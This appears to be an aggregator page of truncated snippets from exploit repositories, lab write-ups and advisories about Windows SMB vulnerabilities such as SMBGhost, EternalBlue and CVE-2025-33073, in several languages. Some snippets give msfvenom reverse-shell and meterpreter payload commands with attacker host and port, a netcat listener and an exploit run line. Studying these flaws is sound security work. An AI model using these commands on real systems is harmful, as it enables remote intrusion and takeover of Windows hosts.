SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module Ceci est une implémentation de la vulnérabilité CVE-2020-0796 alias SMBGhost, compatible avec Metasploit Framework Notes : Ce module est conçu pour être utilisé lorsque vous avez un shell valide afin d'élever vos privilèges. Vous pouvez modifier la charge utile...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Использование msfvenom для генерации полезной нагрузки: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Указывает полезную нагрузку обратный TCP-шелл для Windows. LHOST=10.10.14.4:...

SMB-Protocol-Vulnerability_CVE-2017-0144

ЛАБОРАТОРНАЯ РАБОТА: АТАКА НА ОПЕРАЦИОННУЮ СИСТЕМУ WINDOWS НА ОСНОВЕ УЯЗВИМОСТИ ПРОТОКОЛА SMB. 1. ОПИСАНИЕ 2. ОБЩЕЕ ВВЕДЕНИЕ 3. ПОДГОТОВКА 4. ПРОВЕДЕНИЕ АТАКИ 5. СПОСОБЫ ЗАЩИТЫ 1. ОПИСАНИЕ В этой лабораторной работе мы будем использовать два компьютера для имитации атаки, основанной на...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 の脆弱性の説明と研究（学期プロジェクトCENG325の初心者向け） 悪用方法？ リバースシェルのペイロード生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python リスニングポート： nc -lvnp 5555 エクスプロイトコードの実行： python3 exploit.py -ip TARGETIP PoC リポジトリ...

SMBGhost_RCE_PoC

SMBGhostRCEPoC PoC RCE pour CVE-2020-0796 "SMBGhost" À des fins de démonstration uniquement ! Utilisez-le uniquement comme référence. Sérieusement. Cela n'a pas été testé en dehors de mon environnement de laboratoire. Il a été écrit rapidement et nécessite du travail pour être plus fiable. Parfoi...

windows-smb-vulnerability-framework-cve-2025-33073

Каркас исследования уязвимостей Windows SMB Client Автор: cyberseallll Создано: 2025 Обзор Я разработал этот исследовательский каркас для анализа и понимания CVE-2025-33073 — критической уязвимости повышения привилегий в Windows SMB Client. Данная реализация предоставляет комплексные инструменты...

CVE-2022-26937

Preuve de concept de crash du système de fichiers réseau Windows CVE-2022-26937 nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a...

Blackash-CVE-2025-33073

✨ CVE-2025-33073 : Vulnérabilité RCE SMB Windows 🚨 🔥 Exécution de code à distance authentifiée de haute sévérité 🔥 Contrôle d'accès inapproprié dans le client SMB Windows CWE-284 🛡️ Détails clés en un coup d'œil Aspect| Détails ---|--- Score CVSS v3.1| 8.8 Élevé 🔥 Systèmes affectés| Windows 10, 11...

CVE-2025-33073

CVE-2025-33073 — Windows SMB 클라이언트 NTLM 반사 권한 상승EoP Sentinel AI Defense 의 연구 분석 자료입니다. 방어적 분석만을 포함하며, 동작하는 익스플로잇 또는 PoC는 게시되지 않습니다. Windows SMB 클라이언트의 부적절한 접근 제어 결함으로, 완화된 것으로 여겨졌던 NTLM 반사 기법을 부활시킵니다. 공격자가 호스트를 강제로 유도하여 높은 권한의 인증 컨텍스트를 자기 자신에게 반사시키고 NT AUTHORITY\SYSTEM으로 권한을 상승시킬 수 있습니다. 📄 전체 분석...

CVE-2022-24500

CVE-2022-24500 Exploit RCE Vulnérabilité d'exécution de code à distance SMB Windows Vulnérabilité : Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 étape 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin...

Vulnerability-Research-CVE-2017-0144

Vulnerability-Research-CVE-2017-0144 LAB: TẤN CÔNG HỆ ĐIỀU HÀNH WINDOWS DỰA VÀO LỖ HỔNG GIAO THỨC SMB. I. DESCRIPTION Dans ce laboratoire, nous utiliserons deux ordinateurs pour simuler une attaque basée sur une vulnérabilité du protocole SMB du système d'exploitation Windows. Une machine...

CVE-2026-72936

Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...

CVE-2026-69618

Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information locally...

CVE-2026-69572

Out-of-bounds read in Windows SMB Client allows an authorized attacker to disclose information over a network...

CVE-2026-69544

Heap-based buffer overflow in Windows SMB Client allows an authorized attacker to elevate privileges locally...

CVE-2026-69403

Missing authorization in Windows SMB Server allows an authorized attacker to disclose information locally...

CVE-2026-69374

Allocation of resources without limits or throttling in Windows SMB Server allows an authorized attacker to deny service over a network...

EUVD-2026-73664

Use after free in Windows SMB Client allows an unauthorized attacker to execute code over a network...

CVE-2026-72936

CVE-2026-72936 is a use-after-free vulnerability in the Windows SMB Client that allows an unauthorized, remote attacker to achieve remote code execution over the network. The CVSS 3.1 base score is 8.1 (HIGH) , reflecting a network attack vector with high complexity, no required privileges, and n...

CVE-2026-69618

CVE-2026-69618 is an out-of-bounds read in the Windows SMB Client that allows an authorized local attacker to disclose information . The CVSS 3.1 score is 5.5 (MEDIUM) with a local attack vector, low complexity, low privileges required, and high confidentiality impact but no integrity or availabi...